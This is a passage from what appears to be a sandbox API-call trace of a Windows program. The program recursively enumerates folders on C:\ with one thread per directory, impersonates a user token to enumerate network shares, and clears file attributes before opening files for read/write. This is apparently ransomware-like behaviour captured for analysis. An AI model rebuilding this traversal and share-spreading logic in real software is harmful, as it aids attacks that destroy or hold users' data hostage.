ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0163.658] wcscmp (_String1="Boot", _String2=".") returned 1 [0163.658] wcscmp (_String1="Boot", _String2="..") returned 1 [0163.658] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0163.658] wcscmp (_String1="bootmgr", _String2=".") returned 1 [0163.658] wcscmp (_String1="bootmgr", _String2="..") returned 1 [0163.658] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0163.658] wcscmp (_String1="BOOTNXT", _String2=".") returned 1 [0163.658] wcscmp (_String1="BOOTNXT", _String2="..") returned 1 [0163.658] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0163.658] wcscmp (_String1="BOOTSECT.BAK", _String2=".") returned 1 [0163.658] wcscmp (_String1="BOOTSECT.BAK", _String2="..") returned 1 [0163.658] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0163.659] wcscmp (_String1="Documents and Settings", _String2=".") returned 1 [0163.659] wcscmp (_String1="Documents and Settings", _String2="..") returned 1 [0163.659] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80760 [0163.659] wcscpy (in: _Dest=0x2f80760, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0163.659] wcscat (in: _Dest=0x2f80760, _Source="Documents and Settings" | out: _Dest="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0163.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354 [0163.660] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0163.660] wcscmp (_String1="ESD", _String2=".") returned 1 [0163.660] wcscmp (_String1="ESD", _String2="..") returned 1 [0163.660] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10) returned 0x2f8dc08 [0163.660] wcscpy (in: _Dest=0x2f8dc08, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0163.660] wcscat (in: _Dest=0x2f8dc08, _Source="ESD" | out: _Dest="C:\\ESD") returned="C:\\ESD" [0163.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8dc08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358 [0163.661] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xf4f80d00, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0163.661] wcscmp (_String1="hiberfil.sys", _String2=".") returned 1 [0163.661] wcscmp (_String1="hiberfil.sys", _String2="..") returned 1 [0163.661] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x814a0a66, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x814a0a66, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0163.661] wcscmp (_String1="Logs", _String2=".") returned 1 [0163.661] wcscmp (_String1="Logs", _String2="..") returned 1 [0163.661] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12) returned 0x2f81a18 [0163.661] wcscpy (in: _Dest=0x2f81a18, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0163.661] wcscat (in: _Dest=0x2f81a18, _Source="Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f81a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c [0163.661] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xf6a015c0, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0163.661] wcscmp (_String1="pagefile.sys", _String2=".") returned 1 [0163.662] wcscmp (_String1="pagefile.sys", _String2="..") returned 1 [0163.662] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0163.662] wcscmp (_String1="PerfLogs", _String2=".") returned 1 [0163.662] wcscmp (_String1="PerfLogs", _String2="..") returned 1 [0163.662] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x61c7afed, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x61c7afed, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0163.662] wcscmp (_String1="Program Files", _String2=".") returned 1 [0163.662] wcscmp (_String1="Program Files", _String2="..") returned 1 [0163.662] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x79c50897, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x79c50897, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0163.662] wcscmp (_String1="Program Files (x86)", _String2=".") returned 1 [0163.662] wcscmp (_String1="Program Files (x86)", _String2="..") returned 1 [0163.662] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0163.662] wcscmp (_String1="ProgramData", _String2=".") returned 1 [0163.662] wcscmp (_String1="ProgramData", _String2="..") returned 1 [0163.662] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x7e9511b3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7e9511b3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0163.662] wcscmp (_String1="Recovery", _String2=".") returned 1 [0163.662] wcscmp (_String1="Recovery", _String2="..") returned 1 [0163.662] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1a) returned 0x2f8ac98 [0163.662] wcscpy (in: _Dest=0x2f8ac98, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0163.662] wcscat (in: _Dest=0x2f8ac98, _Source="Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0163.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8ac98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360 [0163.663] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xf6a232f1, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0163.663] wcscmp (_String1="swapfile.sys", _String2=".") returned 1 [0163.663] wcscmp (_String1="swapfile.sys", _String2="..") returned 1 [0163.663] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0163.663] wcscmp (_String1="System Volume Information", _String2=".") returned 1 [0163.663] wcscmp (_String1="System Volume Information", _String2="..") returned 1 [0163.663] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0163.663] wcscmp (_String1="Users", _String2=".") returned 1 [0163.663] wcscmp (_String1="Users", _String2="..") returned 1 [0163.663] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14) returned 0x2f81d18 [0163.663] wcscpy (in: _Dest=0x2f81d18, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0163.663] wcscat (in: _Dest=0x2f81d18, _Source="Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0163.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f81d18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0163.666] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0163.666] wcscmp (_String1="Windows", _String2=".") returned 1 [0163.666] wcscmp (_String1="Windows", _String2="..") returned 1 [0163.666] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x7f2dda5f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7f2dda5f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1 [0163.666] wcscmp (_String1="Windows10Upgrade", _String2=".") returned 1 [0163.666] wcscmp (_String1="Windows10Upgrade", _String2="..") returned 1 [0163.666] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2a) returned 0x2f6bf58 [0163.666] wcscpy (in: _Dest=0x2f6bf58, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0163.666] wcscat (in: _Dest=0x2f6bf58, _Source="Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6bf58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0163.667] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x7f2dda5f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7f2dda5f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0 [0163.667] FindClose (in: hFindFile=0x2f801e0 | out: hFindFile=0x2f801e0) returned 1 [0163.667] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d6f8) returned 1 [0163.667] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c280) returned 1 [0163.667] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faeb10) returned 1 [0163.667] RtlExitUserThread (Status=0x0) Thread: id = 1470 os_tid = 0xdd4 [0163.636] ImpersonateLoggedOnUser (hToken=0x30c) returned 1 [0163.636] ImpersonateLoggedOnUser (hToken=0x30c) returned 1 [0163.636] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x4eefcf0 | out: lphEnum=0x4eefcf0*=0x2f802a0) returned 0x0 [0163.636] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1024) returned 0x2f8e428 [0163.636] WNetEnumResourceW (in: hEnum=0x2f802a0, lpcCount=0x4eefcf4, lpBuffer=0x2f8e428, lpBufferSize=0x4eefcfc | out: lpcCount=0x4eefcf4, lpBuffer=0x2f8e428, lpBufferSize=0x4eefcfc) returned 0x0 [0163.636] ImpersonateLoggedOnUser (hToken=0x30c) returned 1 [0163.636] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2f8e428, lphEnum=0x4eefcb8 | out: lphEnum=0x4eefcb8*=0x2f81cb8) returned 0x0 [0163.637] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1024) returned 0x2f8f458 [0163.637] WNetEnumResourceW (in: hEnum=0x2f81cb8, lpcCount=0x4eefcbc, lpBuffer=0x2f8f458, lpBufferSize=0x4eefcc4 | out: lpcCount=0x4eefcbc, lpBuffer=0x2f8f458, lpBufferSize=0x4eefcc4) returned 0x103 [0163.637] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f458) returned 1 [0163.637] WNetCloseEnum (hEnum=0x2f81cb8) returned 0x0 [0163.637] ImpersonateLoggedOnUser (hToken=0x30c) returned 1 [0163.637] WNetOpenEnumW (dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2f8e448, lphEnum=0x4eefcb8) [0181.226] ImpersonateLoggedOnUser (hToken=0x30c) returned 1 [0181.227] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2f8e468, lphEnum=0x4eefcb8 | out: lphEnum=0x4eefcb8*=0x0) returned 0x4c6 [0181.229] WNetEnumResourceW (in: hEnum=0x2f802a0, lpcCount=0x4eefcf4, lpBuffer=0x2f8e428, lpBufferSize=0x4eefcfc | out: lpcCount=0x4eefcf4, lpBuffer=0x2f8e428, lpBufferSize=0x4eefcfc) returned 0x103 [0181.229] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8e428) returned 1 [0181.229] WNetCloseEnum (hEnum=0x2f802a0) returned 0x0 [0181.229] RevertToSelf () returned 1 [0181.229] RtlExitUserThread (Status=0x0) Thread: id = 1471 os_tid = 0xdd8 [0163.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x22) returned 0x2f720f8 [0163.728] wcscpy (in: _Dest=0x2f720f8, _Source="C:\\$GetCurrent" | out: _Dest="C:\\$GetCurrent") returned="C:\\$GetCurrent" [0163.728] wcscat (in: _Dest=0x2f720f8, _Source="\\" | out: _Dest="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\" [0163.728] wcscat (in: _Dest=0x2f720f8, _Source="*" | out: _Dest="C:\\$GetCurrent\\*") returned="C:\\$GetCurrent\\*" [0163.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f8d3b0 [0163.728] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2f8d3b0 | out: lpFindFileData=0x2f8d3b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f801e0 [0163.732] wcscmp (_String1=".", _String2=".") returned 0 [0163.732] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d3b0 | out: lpFindFileData=0x2f8d3b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.732] wcscmp (_String1="..", _String2=".") returned 1 [0163.732] wcscmp (_String1="..", _String2="..") returned 0 [0163.732] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d3b0 | out: lpFindFileData=0x2f8d3b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x8043c74c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8043c74c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0163.732] wcscmp (_String1="Logs", _String2=".") returned 1 [0163.732] wcscmp (_String1="Logs", _String2="..") returned 1 [0163.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x28) returned 0x2f91290 [0163.732] wcscpy (in: _Dest=0x2f91290, _Source="C:\\$GetCurrent" | out: _Dest="C:\\$GetCurrent") returned="C:\\$GetCurrent" [0163.732] wcscat (in: _Dest=0x2f91290, _Source="\\" | out: _Dest="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\" [0163.732] wcscat (in: _Dest=0x2f91290, _Source="Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs" [0165.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f91290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374 [0165.741] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d3b0 | out: lpFindFileData=0x2f8d3b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x7fbbe1ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7fbbe1ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0165.741] wcscmp (_String1="SafeOS", _String2=".") returned 1 [0165.741] wcscmp (_String1="SafeOS", _String2="..") returned 1 [0165.742] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2c) returned 0x30132f0 [0165.742] wcscpy (in: _Dest=0x30132f0, _Source="C:\\$GetCurrent" | out: _Dest="C:\\$GetCurrent") returned="C:\\$GetCurrent" [0165.742] wcscat (in: _Dest=0x30132f0, _Source="\\" | out: _Dest="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\" [0165.742] wcscat (in: _Dest=0x30132f0, _Source="SafeOS" | out: _Dest="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS" [0165.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30132f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0165.742] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d3b0 | out: lpFindFileData=0x2f8d3b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x7fbbe1ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7fbbe1ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0165.742] FindClose (in: hFindFile=0x2f801e0 | out: hFindFile=0x2f801e0) returned 1 [0165.742] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d3b0) returned 1 [0165.743] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f720f8) returned 1 [0165.743] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac20) returned 1 [0165.743] RtlExitUserThread (Status=0x0) Thread: id = 1472 os_tid = 0xddc [0163.734] GetFileAttributesW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker")) returned 0x22 [0163.737] SetFileAttributesW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER", dwFileAttributes=0x20) returned 0 [0163.737] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.737] SetFileAttributesW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER", dwFileAttributes=0x22) returned 0 [0163.737] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f730b8) returned 1 [0163.737] RtlExitUserThread (Status=0x0) Thread: id = 1473 os_tid = 0xde0 [0163.738] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x2f686b8 [0163.738] wcscpy (in: _Dest=0x2f686b8, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0163.738] wcscat (in: _Dest=0x2f686b8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0163.738] wcscat (in: 